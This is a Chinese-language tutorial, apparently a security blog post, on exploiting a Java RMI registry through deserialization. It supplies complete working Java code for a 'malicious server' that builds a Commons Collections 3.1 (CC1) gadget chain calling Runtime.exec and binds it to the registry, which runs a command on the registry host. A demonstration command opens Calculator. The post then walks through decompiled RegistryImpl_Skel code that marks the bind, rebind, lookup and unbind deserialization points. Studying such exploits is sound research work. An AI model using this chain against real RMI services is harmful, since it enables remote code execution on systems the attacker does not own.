0x01 前言

这个就是RMI中比较通用的攻击场景了,先看攻击例子,在慢慢进行debug吧

0x02 环境

  1. 编辑器为: IntelliJ IDEA
  2. java版本:
  3. java version "1.7.0_80"
  4. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  5. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  6. 使用的架包:
  7. Commons Collections 3.1

0x03 例子

0x03.1 案例介绍

假设我们现在有一台服务器,这台服务器就放注册中心
现在我们要对这个注册中心进行攻击

0x03.2 目录结构

  1. // 目录结构
  2. ├── RMITest4
  3. ├── RMIRegister
  4. └── RMIRegisterTest.java
  5. └── RMIServer
  6. ├── RMIServerTest4.java
  7. ├── RMITestImpl4.java
  8. └── RMITest4Interface.java

0x03.3 创建注册中心

  1. package RMITest4.RMIRegister;
  2. import java.rmi.RemoteException;
  3. import java.rmi.registry.LocateRegistry;
  4. public class RMIRegisterTest {
  5. // 注册中心设置的开放端口
  6. public static final int RMI_PORT = 9998;
  7. public static void main(String[] args) {
  8. try {
  9. LocateRegistry.createRegistry(RMI_PORT);
  10. System.out.println("RMI注册启动成功,端口:" + RMI_PORT);
  11. } catch (RemoteException e) {
  12. e.printStackTrace();
  13. }
  14. while (true) ;
  15. }
  16. }
  17. // 运行该文件

0x03.4 攻击RMI注册中心

  1. // 恶意服务器使用的公共接口
  2. // 随便写写即可,不重要
  3. package RMITest4.RMIServer;
  4. import java.rmi.Remote;
  5. import java.rmi.RemoteException;
  6. public interface RMITest4Interface extends Remote {
  7. String test() throws RemoteException;
  8. }
  1. // 该类是一个远程接口实现类
  2. // 随便写写即可,不重要
  3. package RMITest4.RMIServer;
  4. import java.rmi.RemoteException;
  5. import java.rmi.server.UnicastRemoteObject;
  6. public class RMITestImpl4 extends UnicastRemoteObject implements RMITest4Interface {
  7. /**
  8. * 调用父类的构造函数
  9. *
  10. * @throws RemoteException
  11. */
  12. protected RMITestImpl4() throws RemoteException {
  13. super();
  14. }
  15. @Override
  16. public String test() throws RemoteException {
  17. return "test4~~~";
  18. }
  19. }
  1. // 恶意服务器
  2. package RMITest4.RMIServer;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.lang.annotation.Retention;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.InvocationHandler;
  11. import java.lang.reflect.Proxy;
  12. import java.rmi.Naming;
  13. import java.rmi.Remote;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class RMIServerTest4 {
  17. // 注册中心的服务器ip
  18. public static final String RMI_HOST = "127.0.0.1";
  19. // 注册中心设置的开放端口
  20. public static final int RMI_PORT = 9998;
  21. // RMI服务名称
  22. public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t4";
  23. public static void main(String[] args) {
  24. try {
  25. String cmd = "open -a /System/Applications/Calculator.app";
  26. InvocationHandler payload = getPayload(cmd);
  27. Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMITestImpl4.class.getClassLoader(), new Class[]{Remote.class}, payload));
  28. // 功能: 注册恶意类到RMI注册中心触发反序列化
  29. Naming.bind(RMI_NAME, remote);
  30. System.out.println("执行完毕");
  31. } catch (Exception e) {
  32. e.printStackTrace();
  33. }
  34. }
  35. /**
  36. * CC1反序列化
  37. *
  38. * @param cmd
  39. * @return
  40. * @throws Exception
  41. */
  42. private static InvocationHandler getPayload(String cmd) throws Exception {
  43. //构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
  44. Transformer[] transformers = new Transformer[]{
  45. new ConstantTransformer(Runtime.class),
  46. new InvokerTransformer(
  47. "getMethod",
  48. new Class[]{String.class, Class[].class},
  49. new Object[]{"getRuntime", new Class[0]}
  50. ),
  51. new InvokerTransformer(
  52. "invoke",
  53. new Class[]{Object.class, Object[].class},
  54. new Object[]{null, new Object[0]}
  55. ),
  56. new InvokerTransformer(
  57. "exec",
  58. new Class[]{String.class},
  59. new Object[]{cmd}
  60. )
  61. };
  62. // 将 transformers 数组存入 ChaniedTransformer 这个继承类
  63. Transformer transformerChain = new ChainedTransformer(transformers);
  64. // 创建个 Map 准备拿来绑定 transformerChina
  65. Map innerMap = new HashMap();
  66. // put 第一个参数必须为 value, 第二个参数随便写
  67. innerMap.put("value", "xxxx");
  68. // 创建个 transformerChina 并绑定 innerMap
  69. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  70. // 反射机制调用AnnotationInvocationHandler类的构造函数
  71. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  72. Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
  73. //取消构造函数修饰符限制
  74. ctor.setAccessible(true);
  75. //获取 AnnotationInvocationHandler 类实例
  76. InvocationHandler instance = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);
  77. return instance;
  78. }
  79. }
  80. // 运行结果
  81. 运行完毕以后,注册中心会弹出一个计算器

0x04 debug

  1. 这里啦啦0咯咯大佬踩的坑,因为我也踩了
  2. 首先我的版本是java version "1.7.0_80",也就是jdk7u80版本
  3. jdk7u80版本这个地方在调试RegistryImpl_Skel.class这个神奇的文件的时候
  4. 有一个非常有趣而坑爹的情况,那就是这个class压根没法调试,查看啦啦0咯咯大佬的文章时发现有特别说明
  5. 链接如下:https://xz.aliyun.com/t/7930#toc-8
  6. 啦啦0咯咯大佬说这应该是一个动态生成的class,所以不能调试
  7. 然后非常神奇在jdk8版本的8u112也不能调试,但是8u141之后又可以了
  1. 这里有个小知识,我就直接引用啦啦0咯咯大佬的说明了
  2. sun.rmi.registry.RegistryImpl_Skel#dispatch(RMI注册任务分发处,是注册端处理请求的地方)
  3. 是从sun.rmi.server.UnicastServerRef#dispatch(RMI请求分发处那边过来的)
  1. 由于我电脑JDK版本的原因,我无法对RegistryImpl_Skel下断点
  2. 所以根据啦啦0咯咯大佬提出的,我们可以换个方法进行debug
  3. sun.rmi.registry.RegistryImpl#bind下一个断点,然后直接运行,得到调用栈
  4. 在去查看sun.rmi.registry.RegistryImpl_Skel#dispatch进行分析

具体操作如下图:
image.png
image.png
image.png
image.png
image.png
image.png

  1. // sun.rmi.registry.RegistryImpl_Skel类,dispatch方法的分析
  2. // 我就直接抄啦啦0咯咯大佬的标注说明了,因为比我说的细
  3. public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
  4. // 一处接口hash验证
  5. if (var4 != 4905912898345647071L) {
  6. throw new SkeletonMismatchException("interface hash mismatch");
  7. } else {
  8. // 设定变量开始处理请求
  9. // var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
  10. RegistryImpl var6 = (RegistryImpl)var1;
  11. // 接受客户端输入流的参数变量
  12. String var7;
  13. Remote var8;
  14. ObjectInput var10;
  15. ObjectInput var11;
  16. // var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
  17. // 比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这句
  18. // super.ref.newCall(this, operations, 0, 4905912898345647071L);
  19. switch(var3) {
  20. case 0:
  21. // bind(String,Remote)分支
  22. try {
  23. var11 = var2.getInputStream();
  24. // 1.反序列化触发处
  25. var7 = (String)var11.readObject();
  26. var8 = (Remote)var11.readObject();
  27. }
  28. ...
  29. var6.bind(var7, var8);
  30. ...
  31. case 1:
  32. // list()分支
  33. var2.releaseInputStream();
  34. String[] var97 = var6.list();
  35. try {
  36. ObjectOutput var98 = var2.getResultStream(true);
  37. var98.writeObject(var97);
  38. break;
  39. }
  40. ...
  41. case 2:
  42. try {
  43. // lookup(String)分支
  44. var10 = var2.getInputStream();
  45. // 2.反序列化触发处
  46. var7 = (String)var10.readObject();
  47. }
  48. ...
  49. var8 = var6.lookup(var7);
  50. ...
  51. case 3:
  52. // rebind(String,Remote)分支
  53. try {
  54. var11 = var2.getInputStream();
  55. // 3.反序列化触发处
  56. var7 = (String)var11.readObject();
  57. var8 = (Remote)var11.readObject();
  58. }
  59. ...
  60. var6.rebind(var7, var8);
  61. ...
  62. case 4:
  63. // unbind(String)分支
  64. try {
  65. var10 = var2.getInputStream();
  66. // 4.反序列化触发处
  67. var7 = (String)var10.readObject();
  68. }
  69. ...
  70. var6.unbind(var7);
  71. ...
  72. default:
  73. throw new UnmarshalException("invalid method number");
  74. }
  75. }
  76. }

可以得到4个反序列化触发处:lookup、unbind、rebind、bind

在最开始看的时候,我这里是会有一个疑问的,就是这四个接口中
bind与rebind方法,拥有String和Remote类型的Object
lookup、unbind,拥有String类型的Object

而常见的payload都是使用的Remote格式构造的,所以之前思考过是不是只有带Remote参数才能反序列化?
后面看了各种文章发现啦啦0咯咯的文章中有提出这个问题,(啦啦0咯咯,永远滴神)

啦啦0咯咯的结论:
RMI注册端没有任何校验,payload放在Remote参数还是String参数都可以攻击成功
而之所以常见的payload要变成Remote格式
是因为RMI服务端发这个数据包的流程中会需要这个对象是Remote类型的